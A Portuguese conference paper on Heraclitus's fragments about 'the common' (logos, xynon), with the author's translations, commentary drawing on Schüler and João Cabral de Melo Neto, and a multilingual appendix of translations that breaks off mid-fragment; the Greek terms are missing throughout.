O comum necessário de Heráclito

O comum necessário de Heráclito

O ‘COMUM’ NECESSÁRIO DE HERÁCLITO

     
Humberto Zanardo Petrelli
Mestre em Filosofia Antiga

UNIVERSIDADE DE SÃO PAULO


Apresentado na ANPOF em 03.10.2002
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Será feito nesta apresentação o comentário de alguns poucos fragmentos, ou se
preferirem, aforismos atribuídos ao livro ‘Sobre a Natureza’ de Heráclito, notadamente os que
ocorre a palavra , que se traduz para o português como “comum” ou também “o-que-é-com”,
“o-que-se-lança-com”, e que apresenta a fórmula , no dialeto jônico, além de uma
breve análise destes mesmos fragmentos. Como se sabe, Heráclito nasceu em Éfeso, cidade da
Jônia, atual Turquia, por volta de 540 – 470 a.C.. Foi descendente direto do fundador da cidade
de Éfeso, portanto tinha caracteres reais. Era um tipo altivo, misantrópico e melancólico.
Desprezava a plebe. Sustentou entre seus contemporâneos o epíteto , como se diz
em grego, ou obscurus, se vertermos para o latim (Cf. Cícero, De Finibus, II, 5 , 15 , …). O que
pretendo com esta comunicação é ofertar a oportunidade de conhecer alguns fragmentos de
Heráclito para tentar estimular, quem sabe?, alguma reflexão sobre o sentido da palavra
“comum”, e nos fazer aproximar do sentido que ele a tomou em seus fragmentos. Escolhi
Heráclito apenas para homenagear um ser humano, como nós, que se inquietou com algumas
questões sobre a natureza e a vida. Recordo Hegel que diz que, eu cito, “não existe frase de
Heráclito que eu (Hegel) não tenha integrado em minha Lógica”.
Tomei da edição estabelecida pelos alemães Diels e Kranz dos fragmentos e fiz uma
tentativa de tradução que, na realidade, como esta comunicação, é um ‘meu brinquedo’, para
aludir Górgias. Eu cito e traduzo, então, os fragmentos selecionados:

     

     Os homens vieram a ser incompreensivos deste logos sempre verdadeiro, quer antes
de escutar quer tenham acabado de escutá-lo; pois todas as coisas vindo a ser segundo esse
logos, (os homens) assemelham-se a inexperientes, mesmo experimentando dessas palavras e
ações, tal qual eu as exponho segundo a natureza distinguindo cada coisa e dizendo como se
comporta. Aos outros homens escapa tanto o que fazem despertos, quanto se esquecem do
que fazem quando dormindo.

     
    
      Por isso é necessário seguir <ao-que-se-lança-com>, isto é, ao comum. Pois o-que-se-
lança-com
é comum. Embora o logos sendo o-que-se-lança-com, muitos (homens) vivem
com tendo pensamento particular.

     
     
     Heráclito (diz que) o contrário é convergente e a partir dos divergentes surge a mais
bela harmonia [ e tudo vem a ser segundo a discórdia ].

     
 
    Escutando descompassados assemelham-se a surdos; eis o ditado para eles ‘estando
apresentam-se ausentes’.

     

     E que isso todos não sabem nem concordam, acusando que: não compreendem como
o divergente consigo mesmo concorda; harmonia de tensões contrárias, como do arco e da
lira.


     
     É necessário saber que o combate sendo o-que-se-lança-com, e a justiça (é) discórdia,
e todas as coisas vêm a ser segundo a discórdia e a necessidade.

     
     Heráclito diz que para os despertos há uma ordem única e comum, mas cada um se
revira para o seu lado particular para se acomodar na cama.

     
     Pois o-que-se-lança-com é o princípio e limite da periferia do círculo.

     

     O-que-se-lança-com é para todos o pensar.

     


      Os que dizendo com inteligência é necessário que se fortaleçam com o-que-se-lança-com
todos, tal como com a lei a cidade, e muito mais fortemente. Pois todas as leis humanas
alimentam-se a partir de uma, a divina: pois domina tanto quanto quer, e é suficiente para
todas as coisas e supera.

     
Tive a intenção de provocar algum estranhamento no decorrer de minha leitura da
tradução, pois tentei me aproximar do grau mais literal possível para que houvesse a
correspondência com o original. No entanto, as armadilhas que alguém que se atreve a
traduzir Heráclito encontra são inúmeras. Eu vou mencionar, por exemplo, a dificuldade de se
traduzir as palavras e . Ambas têm o mesmo significado de “comum”, ambas
querem dizer “comum”, só que eu optei por assinalar como ‘o-que-se-lança-com’, a
fim de meramente fazer uma distinção, embora eu pudesse muito bem traduzir por
“comum”. Caso, então, eu levasse a cabo a empreita de traduzir ambos os termos gregos por
“comum”, o fragmento DK2 ficaria expresso da seguinte maneira, eu cito:


“Por
isso é necessário seguir ao comum, isto é, ao comum. Pois o comum é comum. Embora o
lógos sendo o comum, muitos (homens) vivem como tendo pensamento particular”.

     
Levando-se em conta as precariedades que encontra um tradutor, além da própria
dificuldade de interpretação, tornou-se necessário recorrer ao estudioso Donaldo Schüler, que
escreveu um interessante artigo intitulado “O Discurso nos discursos”, em 1996 , disponível
na internet (http://www.schulers.com/donaldo/herac.htm), para nos orientar numa possível
tentativa de interpretação dos fragmentos selecionados. Gostaria de salientar que minha
inquietação particular com esses fragmentos se deu no segundo semestre de 1996 , quando tive
oportunidade estudar os “pré-socráticos”, num curso de pós-graduação da Universidade de
São Paulo.

      O fragmento DK 93 diz
“O senhor, de quem é o oráculo em Delfos, não diz nem
oculta, mas dá sinais”
. Talvez este fragmento nos aponte para uma definição do próprio
discurso de Heráclito, que sentido a insuficiência de um sistema lingüístico para desvendar os
mistérios do mundo, desenvolveu uma linguagem ambígua, alusiva, multi-significativa, apta a
apanhar a complexidade da realidade apenas entrevista, num discurso que gera outros
discursos numa corrente sem fim determinável. A infidelidade necessária da tradução, por sua
vez, abre distâncias em que os significados cambiantes se movem, cavando canais imprevistos
no fluir universal. Entremos neste jogo sem deter o discurso, sem receio de deslizes, mas com
a firme determinação do lance adequado.

     
Quando Heráclito diz que embora seja este , o ‘Discurso’, com letra maiúscula,
sempre, os homens tardam, não só antes de escutá-lo, como logo que o escutam; pois, mesmo
que todas as coisas aconteçam de acordo com este ‘Discurso’, os homens se mostram
inexperientes ao experimentarem tais palavras e atos. Heráclito preocupou-se com a natureza,
distinguindo cada coisa e mostrando como ela é. Os homens, acreditava Heráclito, ignoram o
que fazem depois de acordarem, como esquecem o que fazem dormindo. Algumas questões
começam a surgir: que discurso é esse que não redime os homens da ignorância? Os homens
sempre tardam ou o discurso sempre é? Por que decidir sobre o que Heráclito quer indeciso?
Conservemo-nos na indecisão, pois esta sempre declara a continuidade do acontecer e do
permanecer aquém. E o discurso? É o universal ou é o de Heráclito? Tenho intenção de
provocar aqui uma convergência de interpretações divergentes. Esse discorrer aqui agora se
resolve no estar aquém não só do ‘Discurso’, com letra maiúscula, ou seja, o ‘Discurso’ dos
discursos, como também dos discursos em curso, como os de Heráclito e de outros, antes e
depois de nós os termos escutado.

     
O ‘Discurso’ e os discursos nos excedem como processo de organização. Na
impossibilidade e na obstinação de os alcançar, produzimos novos discursos, que no excesso
tem o destino dos primeiros, e continuamos irremissivelmente imersos no acontecer da
ignorância. Tardos, nós acontecemos na ignorância e fazemos a ignorância acontecer, eis o
nosso inapelável caminho. Como sempre, o discurso é ambíguo, tanto pode ser o ‘Discurso’,
com maiúscula, dos discursos como pode designar um dos discursos, o de Heráclito, por
exemplo. Um discurso e o ‘Discurso’ não coincidem nem se repelem. O ‘Discurso’ atravessa
cada um dos discursos; neles o vemos e o perdemos. Não acontecemos apenas nós, também as
coisas acontecem de acordo com o ‘Discurso’, acordo que não é coincidência, acordo que
vem de desacordos sem os quais nenhum acordo se veria celebrado.

     
A inexperiência no ‘Discurso’ não significa a falta de iniciação em algum discurso. O
apego indevido a discursos é que retarda o acesso ao ‘Discurso’. É de se notar que se um
discurso tem a virtude de expor, não lhe falta a qualidade de impor, contradição alojada no
bojo da exposição. Nenhum discurso retém a exposição sem prejuízo. Heráclito ataca a crosta
endurecida dos discursos que, negando-se como tais, tendem a se tornar absoluto, evadido do
fluxo. Heráclito se dispôs a dizer como as coisas são. Aqueles que o escuta devem se
contentar, entretanto, com uma exposição lenta, visto que nosso expositor, aqui Heráclito,
diferentemente dos aedos da época, não apresenta fatos concluídos. Expõe-se à medida que as
descobre. Mesmo assim não as dá como prontas. Para acompanhar a exposição cada ouvinte
terá que rever o que lhe é mostrado. Há um novo método: em lugar do passado, o presente;
em lugar de cantos conclusivos, como os dos aedos, a investigação. Coloca-se, portanto, esta
tarefa em andamento de que se ignora o fim. Do canto e da dança vai-se à fala, ao andar
atento; do dizer das Musas, ao ‘Discurso’ – sem sujeito nem objeto – o de sempre, fonte de
todos os discursos. Heráclito, ao contrário dos pensadores preocupados em refletir sobre o
fundamento, deteve-se naquilo que nos toca os ouvidos, os olhos, a língua, a pele. O sentido
encontra-se naquilo que sentimos. Quem fala não enuncia as regras que tornam o enunciado
inteligível, entretanto, a gramática está presente em cada partícula do que dizemos. A
gramática é o discurso. Como existem gramáticas regionais dentro da gramática geral, há os
discursos e o ‘Discurso’. O universo de Heráclito é vivo, coisas meramente coisas não há.
Todas as coisas e todas as palavras são atos: atos de fala, atos do ‘Discurso’. O discurso de
Heráclito tem a vantagem de vencer as fronteiras do discurso particular em direção ao
‘Discurso’ que excede todos os discursos e os apóia. Há, portanto, um ‘Discurso’ oculto na
natureza que oculta. Atento ao discurso, tanto o já muitas vezes dito quanto o ainda não
proferido, Heráclito empreende o exame. O ‘Discurso’ gera o que é e o que se diz. Gerando,
restaura o movimento daquilo que propendia à rigidez letal. A maioria dos homens, não
despertos como Heráclito, dormem no sono e na vigília. Afundados no sono, escapam-lhes as experiências cotidianas e suas urgências. Como considerar desperto o homem que cuida
apenas dos seus interesses sem procurar compreender o mundo como um todo? Sem que se
preste atenção à relação entre as inumeráveis experiências cotidianas? Não contentes com as
palavras, os despertos perguntam pela gramática. A gramática só se desvela a vigilantes. Só estes podem avaliar, julgar, dizer.

     
O conflito do discurso deflagra vozes em convergente divergência. Por isso é preciso
seguir o ‘comum’, pois o ‘comum’ é o geral. No entanto, embora o ‘Discurso’ seja ‘comum’,
vivem as multidões como se tivessem conhecimento particular. Comum? Como havemos de
entendê-lo? Se eu tivesse a ousadia de desdobrar comum em ‘com-um’, cometeria violência
ao corpo da palavra e da linguagem, no entanto, estaria me beneficiando na tentativa de
desvendar o seu sentido. ‘Com-um’ recupera : que significa ‘com’, e particípio
presente do verbo , ser. ‘Com-um’, isto é, ser conjuntamente um. Onde? No ‘Discurso’.
Quero agora, então, recolher em discurso o sentido do substantivo . designa
muitas coisas. Homero emprega a fórmula , de mesma raiz de , para o processo
de recolher alimentos, armas e ossos, para reunir homens. Cada uma dessas operações
implicava num comportamento criterioso; não se reúnem armas, por exemplo, sem as
distinguir de outros objetos. Concomitantemente, significa uma reunião de coisas sob
determinado critério. Armas misturadas com ossos sem critério algum não formariam um
, provocariam o sentimento de desordem, caos. corresponde, portanto, ao ‘com-um’,
não de palavras apenas mas também de seres.

     
não se restringe, entretanto, à ordenação dos seres, o estende vínculos,
com o mesmo vigor, entre palavras. Surge assim uma ‘lógica’. Sem não há discurso;
há, quando muito, um amontoado de palavras. Sem a lógica estaríamos desamparados de
recursos para nos referir ao ‘Discurso’. Embora o ‘Discurso’ ultrapasse em riqueza e
significado a lógica, não se oferecem cursos à sua exploração senão por esta via. A lógica
abre-se em acesso e fecha-se em limite. Traduz o ‘com-um’ sem prendê-lo. Insere-se no
‘com-um’ sem confundir-se com ele. Prender o ‘Discurso’ no tecido lógico esteve sempre na
mira dos homens.

     
Surpreendemos o   no interior de nós mesmos, quando compreensivamente
voltamos para o espetáculo do mundo. O interior acrescenta-se aos outros dois
discursos, no mesmo movimento de ‘com-unidade’. Seguir o ‘com-um’ significa reprovar a
dispersão, aderir à unidade, recolher os estilhaços e ordená-los em um, não consentir na
dissolução. E como distinguiríamos conhecimento particular e discurso ‘com-um’?

     
Conhecimento traduz o substantivo , derivado de , o diafragma, e designa o
conhecimento que se adquire através dos sentidos, o saber prático. Heráclito, como já foi dito,
não despreza a informação dos sentidos, no entanto, ele condena os homens que, em sua
maioria, não conseguindo erguer-se acima dos sentidos, vegetam enredados no turbilhão
caótico das informações sensoriais. A impressão sensorial, por ser única, é intransferível, e
cada um constrói o seu próprio território de sensações.

     
O ‘conhecimento particular’ () tem o idiota. O idiota, em sentido
etimológico, é quem não sai de si. Age como se nada lhe fosse dado, como se os outros só
existissem para servi-lo, como se viesse dele tudo o que ele é. O idiota não reflete porque fez
o mundo exterior uma coisa submissa a seus desejos e, descoisificando-o, degrada-o a
sensações. Importa-lhe sentir, sentir muito, não importa o quê. Sem mundo exterior, o idiota
vive sem problema. Não progride nem regride, ele já está no lugar em que sempre quis estar.
Mesmo acordado, o idiota dorme o sono dos justos. O conhecimento particular não é banal, é
construído, auto-suficiente, compacto. É o conhecimento do homem que compra e vende,
produz, dirige estados, cura, lida com o divino, ataca e defende com a espada. O homem
encerra-se em conhecimento particular, mesmo que atinja posição de destaque, mesmo que
seja visto e aplaudido, mesmo que seja a origem de grandes feitos. O particular circunscreve
indivíduos e grupos. O homem deixa de ser idiota quando sai de si e constata que há coisas
que não dependem dele, que há outros eus com direitos iguais aos dele, que ele não existe só,
que ele se faz com outros.

     
Heráclito propõe o discurso como recurso para unir o que de outra forma se
dispersaria, e para se comunicar com os demais. O discurso tira da idiotice sem destruir os
que concorrem. O discurso é proferido em lugar comum a todos, o discurso constitui o lugar
comum, coloca um falante diante de outro sem hegemonia. O discurso faz de todos um sem
prejudicar nenhum. Quem sai da idiotice entra no discurso. Pensar é viver no discurso,
dizendo e escutando. O discurso reúne. Os que entram no discurso não cogitam da utilidade.
Rumo ao comum se rompem as fronteiras, que são fraturas que tendem a se regenerar. O sono
espreita os vigilantes. Sem decisão de se manter desperto não há vigília. Os sentidos se
validam quando acolhidos no discurso ‘com-um’. Está claro que o ‘com-um’ não exclui o
comum, o ordinário. O discurso ‘com-um’ acolhe o discurso ordinário, pois muitas
observações procedem do dia-a-dia, em que no espaço comum todos convém.
Atentemos para as implicações políticas do comum. A cidade-estado, por exemplo, ao
incentivar os homens a tomarem o destino em suas próprias mãos, dessacraliza. Nada do que
pertence ao domínio público deve ser regulado por um único indivíduo. Assuntos comuns são
tratados no debate, a guerra de palavras que gera o bem comum. O discurso sustenta,
congrega, une, critica, vigia, reina. O discurso propõe o ‘Discurso’, base da democracia
universal que abriga todos os seres.

     
Recordo o poema “Rio sem dircurso”, de João Cabral de Melo Neto, publicado no
livro A educação pela pedra, em 1966 , para procurar iluminar algumas definições esboçadas a
respeito do discurso, que em parte já foram focalizadas nas considerações precedentes. Eu
cito:    

     RIO SEM DISCURSO
A Gabino Alejandro Carriedo        

     
Quando um rio corta, corta-se de vez
o discurso-rio de água que ele fazia;
cortado, a água se quebra em pedaços,
em poços de água, em água paralítica.
Em situação de poço, a água equivale
a uma palavra em situação dicionária:
isolada, estanque no poço dela mesma,
e porque assim estanque, estancada;
e mais: porque assim estancada, muda,
e muda porque com nenhuma comunica,
porque cortou-se a sintaxe desse rio,
o fio de água por que ele discorria.

     *

     O curso de um rio, seu discurso-rio,
chega raramente a se reatar de vez;
um rio precisa de muito fio de água
para refazer o fio antigo que o fez.
Salvo a grandiloquência de uma cheia
lhe impondo interina outra linguagem,
um rio precisa de muita água em fios
para que todos os poços se enfrasem:
se reatando, de um para outro poço,
em frases curtas, então frase e frase,
até a sentença-rio do discurso único
em que se tem voz a seca ele combate.

     
Nota-se que o poeta resgata um termo que o uso banalizou, despertando os
significados correr, fluir, contidos no substantivo curso, que entra na composição de discurso.
Iluminada a metáfora, o discurso se faz ‘curso de um rio’, e ao correr/discorrer, as frases
refazem o fluxo cortado pelas palavras estagnadas nas definições rijas do dicionário. O
discurso-rio, ao reatar, reunir, recolher, enfrasar, organizar, dispor, reativa alguns dos
significados de . Provocando a confluência do rio heraclitiano com o rio de João Cabral
de Melo Neto, podemos abrir o diálogo com a língua antiga, solicitar novas associações e
dizer ‘discurso’ sem a estranheza do sotaque estrangeiro.

     
Há os que estão presos ao sistema em que estão inseridos, estanques em água
paralítica, surdos. Por considerarem absoluto o discurso restrito, a água cortada em poços, não
atendem ao apelo ‘com-um’, em que seriam uma voz em muitas. Paralisados no discurso
privado, perdem acesso ao que abrange tudo. Caracterizada está a falta de entendimento, pois
os desprovidos de entendi/movimento, ao escutarem, parecem surdos: um ditado é testemunho
deles: presentes estão ausentes. Desprovidos de entendimento são os que não se põem em
movimento com os outros, destinatários do mesmo apelo. O apelo vem de fora do homem e
dos sistemas. Os seres se organizam em signos do ‘Discurso’ que os compreende e os excede.
A sabedoria consiste no enfrasar sem prejuízo de peculiaridades. Só então estamos na
sentença-rio do ‘Discurso’ único, que precisa de muita água para que todos os poços se
enfrasem. Os surdos ao apelo não percebem outra voz além da que lhes é familiar. Obstinados
na recusa ao reatamento do próprio com o alheio, perdem não só a inteligibilidade do todo
como também se lhes obscurece a luz privada que os ilumina. O que tem por luz faz-se
escuridão. No intuito de manter vivo o pensamento, Heráclito ataca as paralisias. O saber
resulta dos que andam, atentos ao mesmo apelo.

     
Mas é a surdos que Heráclito fala. Se discursos pensados não os abalam, quem sabe
palavras vulgares? O ‘Discurso’ está presente em todos os discursos. Para entendê-lo, basta
aguçar os ouvidos.

     
O discurso em qualquer uma de suas acepções é ação, sem movimento não há
entendimento. O sonho toca os adormecidos. Para entendê-lo é preciso despertar e refletir
sobre ele. O entendimento segue os passos do ‘Discurso’: ele reúne, estabelece relações; é
trabalho de despertos.

     
A presença física não estabelece comunidade. O discurso é o canal em que discorrem
apelo e resposta. Se os fios do discurso se cortam, se em lugar do rio poços se isolam, sofre-se
o flagelo da seca, a voz emudece, a vida não resiste à morte. O apelo soa no interesse do um,
ata os fios que no conjunto formam a corrente do grande rio. No ‘Discurso’, ausências
enfrasadas fazem-se presenças efetivas. O ‘Discurso’ é estrutura, é reunião, profere-se a si
mesmo. Ainda que esquecido, desprezado ou ignorado, o ‘Discurso’ governa. Articulado em
nós e fora de nós, nele vivemos e convivemos. Na marcha, no atar e no reatar, ele se constrói.
Como entendê-lo, desinformados de sua sintaxe? Desinformados, onde buscar o sentido do
que sentimos? Nós, que vivemos com outros e com coisas, com partes do todo, estamos na
outra extremidade do ‘Discurso’. Coisas que nos deveriam ser familiares fitam-nos com
olhares estranhos quando desconhecemos os elos que as vinculam. Comportando-nos como
pessoas que passam os olhos numa página escrita em outra língua; embora reconheçamos as
letras, ignorantes das leis que as unem, escapa-nos o sentido. Marchamos, assim, como
estrangeiros no mundo que é nosso. Estamos no mundo e não estamos. Estranhos ao mundo,
estranhamos os entes que nos cercam. Os que recusam o convite ao simpósio do ‘Discurso’
obstinam-se a viver em poços de água estanque. Ora, o estranhamento é o princípio do saber.
Quem tem olhos para o estranho sabe. Só os adormecidos não estranham. A seus olhos sonho
e vigília não se distinguem, perceptíveis só aos atentos ao ‘Discurso’.

      Perde-se a noção do ‘Discurso com-um’ quando permitimos que o saber se parta em
poços. Não convém alicerçar hipotética unidade em certo discurso acreditado, mesmo que
seja o de Heráclito. O discurso peculiar não leva ao todo. Tampouco atingimos o todo se
partimos o saber em saberes. O Discurso com-um’ excede os falantes, recolhe-os na trama
das relações. Heráclito não é mais do que uma voz no ‘Discurso’. Quem escuta só uma voz
não percebe o coro. O fragmento 50 –




 – diz que ‘não escutando a mim mas o ‘Discurso’, sábio é o
concurso: todas as coisas são uma só’. Desamparados da unidade, instalamo-nos em precário
e inconveniente sucedâneo, a ideologia. Concordes no concorrer estamos, se toleramos que o
discurso de cada um soe no concurso ‘com-um’. O ‘Discurso com-um’, na sua abrangência, é
contra-ideológico, ele é de todos sem ser de ninguém, está no lugar em que todos convém.
Heráclito ‘brinca’ com e (homologar, concordar, convir), aproximando ‘Discurso’ e ‘concurso’.  não é repetir o já dito. Entre o discurso proferido e o
repetido abre-se a distância que vai do original à cópia. Discurso nenhum reproduz o original.
Ao homologar nos distanciamos, concorremos. A posição do não no início da sentença, “não
de mim mas do …”, é enfática. Raras vezes um discurso começa negando. Dos
aforismos heraclitianos conhecidos, esta é a única vez. O não estoura num contexto de
afirmações. A negação tira do falante a autoridade que o discurso lhe concedia. Heráclito
viveu numa época em que o discurso persuasivo ascendia. A persuasão não é conduzida pela
verdade. Há o falar de quem profere discursos e há o dizer do ‘Discurso’. O primeiro
constrange à visão peculiar, o segundo liberta para o conflito dos contrários. Nada se escuta
sem a decisão de se escutar. Ficar atento a discursos sedutores é cômodo. Perceber os
movimentos do ‘Discurso’, que age no silêncio, no espaço que se interpõe entre as palavras,
que atua no conflito, que reúne, requer a energia de despertos. Sendo invisível, ele se dirige
aos ouvidos. Pergunto então: ouvir o ‘Discurso’? Mas o que é que ele diz? Diz a ordem, o
encaixe, a aproximação, a harmonia das partes, diz que todas as coisas constituem um só. O
‘Discurso’ nos chama, com ele concorremos. Os que o escutam organizam universos no lugar
em que atuam. Os ouvidos solicitados para o ‘Discurso’ são os que recebem orientação das
Musas. Mais cômodo seria se houvesse um intérprete do ‘Discurso’ com autoridade
sacerdotal. Mas então não haveria concurso, haveria submissão a uma ordem imposta. O
‘Discurso’ não age assim porque preside ajustes e reajustes, movimento. Sem atenção ao
‘Discurso’, fluxos estagnam, discursos definham, a chama se apaga. Ativar o movimento é a
tarefa dos que concorrem. Haverá sempre erros de sintaxe, palavras desatualizadas, peças
desajustadas. O ‘Discurso’ convoca concorrentes para tarefas precisas.

     
Heráclito não busca acesso a um outro mundo. O seu campo de ação é exclusivamente
este. A mera informação dos sentidos, embora precária, ainda é saber. Todo saber, contudo,
está mesclado de não-saber. Se ignorássemos inteiramente o que buscamos, como nos
poríamos a caminho? O filósofo é, porém, amante infeliz; para manter acesa a chama do
desejo, combate a sua própria desconfiança. O ‘Discurso com-um’, o divino, é o que se busca.
Enquanto estamos a caminho, proferimos estes discursos parciais, necessários por serem eles
que nos mantém em marcha; precários, porque o não dito supera em muito o que se diz. Os
irremissivelmente desesperados, por cansaço, decretam sua parcela suficiente. Para curar-se
das desesperanças afundam-se no desespero, declarando que tudo está bem com o pouco que
tem.

     
Os discursos, portanto, nunca são o ‘Discurso’. O nosso falar prossegue em tentativas
frustradas de aprisionar nas redes da sintaxe o que se declara hostil a quaisquer
confinamentos. Se lográssemos surpreender o núcleo do indizível, proferiríamos a última
palavra, que decretaria o fim de todo falar. O saber é decididamente mais do que o dito. O que
nos discursos sábios seduz brilha como reflexo do saber ausente. O oculto é muito mais do
que aquilo que se mostra. O propósito de quem escuta e de quem fala é um só: o saber. Não
saber é a declaração tácita ou declarada dos que escutam. Como escutaria Heráclito se já
soubesse? Quem sabe não escuta, diz. Não estando em quem escuta nem em quem diz, o saber
está separado de todos. Separado, separa. Assombra quem nos escuta por proceder de
carência. O discurso transcorre da carência de quem diz à carência de quem escuta. Quem
escuta põe-se na rota do possível, desperta a possíveis. Quem escuta legitima o discurso. Por
que falar se ninguém escuta? Não houvesse boca que fala a ouvido atento, transições seriam
impensáveis. Entre os fragmentos de Heráclito é raro o emprego da segunda pessoa. O outro
aparece no dizer, no escutar, no fazer, no fluir, na transição.

     
É ambição de muitos confundir o ‘Discurso com-um’ com o dizer de um. Se o
irrealizável se realizasse, a busca seria assaltada pelo ditado, o diálogo se renderia ao
monólogo, a linguagem chegaria à fixidez dos recursos que inventamos para nossa
sobrevivência. O saber separa-se por sua própria natureza, assegurando que não é coisa entre
coisas, nem coisa além das coisas. Não sendo coisa, ele ama relações entre as coisas, indica a
função das palavras na sintaxe. É coesão, sentido não-substancial daquilo que aparece. O
saber se recusa a nós, os falantes, para nos instituir como diferentes. Excluídos, participamos
e falamos. Procuramos interpretar em nossas versões os enigmas da linguagem. Separado de
todos, o saber nos torna solidários na carência. Apoiamo-nos mutuamente na busca.
Procuramos em outros horizontes o que não colhemos em nosso território. Quem escuta sai de
seu território em busca de outro. Escutar desterritorializa.

     
Os que amam o saber não se excitam, submetem o insólito a paciente exame.
Habituados a afrontar certezas, o mundo inteiro torna-se-lhes estranho, mesmo os rincões
familiares. Provocadores de mistérios, não poupam esforços para desencantá-los, ainda que o
trabalho abra distâncias. Os tolos escolhem o extremo oposto. Vivem excitados por sonhos,
contos, visões, cantos, falas. A excitação não acontece aos tolos inopinadamente. Por lhes
causar prazer, eles a buscam. Fontes da excitação são o timbre da voz, a harmonia dos gestos,
o brilho dos olhos, a agilidade da argumentação, o ritmo das frases, dentre outras. Seduzidos,
os tolos partem sem norte. O homem ponderado se resguarda. Visto que o ‘Discurso’ alimenta
discursos, o compromisso de quem ama é com o ‘Discurso’. Os desatentos ao apelo do
‘Discurso’ são arrastados pelo torvelinho dos encantos inconseqüentes.

     
Nas cidades que se democratizavam a palavra fulgurava como uma arma, não raro,
muito perigosa. A retórica, inventada para persuadir, buscava influir, mesmo com o sacrifício
dos fatos. Esse desvio não podia contar com o consentimento de Heráclito, empenhado em
fazer da palavra um instrumento rigoroso para desvendar os mistérios do universo. A
advertência de Heráclito não resguardou a multidão dos artifícios que aviltaram as
assembléias populares para a ruína de muitos estados. O livre exercício da palavra não é tudo,
requer-se ainda a integridade daqueles que a usam. Se o discurso se eleva para abrilhantar o
orador, bloqueado está o caminho à verdade. Político ou filosófico, engana o discurso que
oferece pronto o objeto da investigação. Aquém do ‘Discurso’, discurso algum é pleno.
Dando como concluído o que não passa de projeto, o falante autoritário apresenta como meta
o que não passa de ponte.

     
O discurso distingue o lugar em que emerge. Provoca acontecimentos ao acontecer.
Pleno é o ‘Discurso’ robusto e amplo, o que traz à luz e se expande em associações que fluem
e refluem em novas vagas de sentido. O pleno se abre para o fluxo caudaloso do que vem.
Quem profere ‘Discurso’ pleno desperta o falar probatório de outros falantes. No fluxo e
refluxo o nome se ilustra em renome, nome autenticado no reflexo.
Este é o ‘Discurso’, a convergência de muitos cursos, a sobreposição de correntes. Os
cursos, ao discorrerem, se enredam e desenredam, convergem e divergem no fluir que se
refaz. Traduzir é manter viva a tradição, é impedir que o rio se corte em poços, que estagne,
que morra. Atravessando a língua de João Cabral de Melo Neto, Heráclito soa com timbre
novo sem esquecer o dialeto original. O discurso em curso requer a tradução.
A palavra comum, que norteou esta comunicação, poderia se impregnar no espírito dos
seres humanos de maneira a conduzir e modelar seus comportamentos conforme o  que
Heráclito procurou desvendar de modo singular. Para finalizar gostaria apenas de recordar,
mais uma vez, agora com a tradução do professor José Cavalcante de Souza, os fragmentos
selecionados:
I . Deste logos sendo sempre os homens se tornam descompassados quer antes de
ouvir quer tão logo tenham ouvido; pois, tornando-se todas (as coisas) segundo esse logos, a
inexperientes se assemelham embora experimentando-se em palavras e ações tais quais eu
discorro segundo (a) natureza distinguindo cada (coisa) e explicando como se comporta. Aos
outros homens escapa quanto fazem despertos, tal como esquecem quanto fazem dormindo.

2 . Por isso é preciso seguir o-que-é-com, (isto é, o comum; pois o comum é o-que-é-com).
Mas, o logos sendo o-que-é-com, vivem os homens como se tivessem uma inteligência
particular.
*8, . Heráclito (dizendo que) o contrário é convergente e dos divergentes nasce a mais
bela harmonia, e tudo segundo a discórdia.
34 . Ouvindo descompassados assemelham-se a surdos; o ditado lhes concerne:
presentes estão ausentes.
51 . Não compreendem como o divergente consigo mesmo concorda; harmonia de
tensões contrárias, como de arco e lira.
80 . É preciso saber que o combate é o-que-é-com, e justiça (é) discórdia, e que todas
as (coisas) vêm a ser segundo discórdia e necessidade.
89 . Heráclito diz que para os despertos um mundo único e comum é, mas os que estão
no leito cada um se revira para o seu próprio.
103 . Pois comum (é) princípio e fim em periferia de círculo.
113 . Comum é a todos o pensar.
114 . (Os) que falam com inteligência é necessário que se fortaleçam como o comum de
todos, tal como com a lei e a cidade, e muito mais fortemente: pois alimentam-se todas as leis
humanas de uma só, a divina: pois, domina tão longe quanto quer, e é suficiente para todas
(as coisas) e ainda sobra.

     
Gostaria, então, de deixar expresso os meus sinceros agradecimentos a todos os
presentes pela atenção dispensada. Meu muito obrigado.

      APÊNDICE

     Caso venha a ocorrer alguma necessidade, apresento as versões inglesa de Jonh Burnet
de 1950 , italiana de Carlo Mazzantini de 1945 , brasileira do professor José Cavalcante de
Souza de1978, e a espanhola de 1956 , por Raúl Gustavo Aguirre.

     

     Os homens vieram a ser incompreensivos deste logos sempre verdadeiro, quer antes
de escutar quer tenham acabado de escutá-lo; pois todas as coisas vindo a ser segundo esse
logos, (os homens) assemelham-se a inexperientes, mesmo experimentando dessas palavras e
ações, tal qual eu as exponho segundo a natureza distinguindo cada coisa e dizendo como se
comporta. Aos outros homens escapa tanto do que fazem despertos, quanto se esquecem do
que fazem quando dormindo.

     Though this Word is true evermore, yet men are as unable to understand it when they
hear it for the first time as before they have heard it at all. For, though all things come to pass
in accordance with this Word, men seem as if they had no experience of them, when they make
trial of words and deeds such as I set forth, dividing each thing according to its kind and
showing how it truly is. But other men know not what they are doing when awake, even as
they forget what they do in sleep.

     La verità parlante essendo allora sempre questa, sempre gli uomini ne diventano
ignari, e prima di ascoltarla e subito dopo averla ascoltata. Tutte le cose accadeno secondo
questa verità [ragione], gli uomini sembrano di essa inesperti, proprio quando si
sperimentano [si cimentano] intorno a parole ed opere siffatte, come io ad essi annunzio,
ogni singola cosa secondo natura analizzando ed esponendo così come è. Gli altri uomini
ignorano quelle cose stesse che fanno nella veglia, come quelle altre cose che dormendo
dimenticano.

     Deste logos sendo sempre os homens se tornam descompassados quer antes de ouvir
quer logo tenham ouvido; pois, tornando-se todas (as coisas) segundo esse logos, a
inexperientes se assemelham embora experimentando-se em palavras e ações tais quais eu
discorro segundo a natureza distinguindo cada (coisa) e explicando como se comporta. Aos
outros homens escapa quanto fazem despertos, tal como esquecem como fazem dormindo.

     Aunque esta Verdad sea eterna, no la comprenden los hombres ni antes de haber
sabido de ella ni cuando se enteran por primera vez. Y aunque el universo se desenvuelve
según esta Verdad, los hombres parecen no tener experiencia alguna [de ella] cuando se
ejercitan en palabras y hechos semejantes a aquéllos cuya naturaleza contraria yo separo y
explico aquí. Los demás hombres no se dan cuenta de lo que hacen despiertos, así como
olvidan lo que hacen cuando duermen.

     

      Por isso é necessário seguir <ao-que-se-lança-com>, isto é, ao comum. Pois o-que-se-
lança-com é comum. Embora o logos sendo o-que-se-lança-com, muitos (homens) vivem
com tendo pensamento particular.

     
So we must follow the common, yet though my Word is common, the many live as if
they had a wisdom of their own.

     
Bisogna dunque seguire ciò che è sociale; ciò che è sociale infatti è commune a ogni
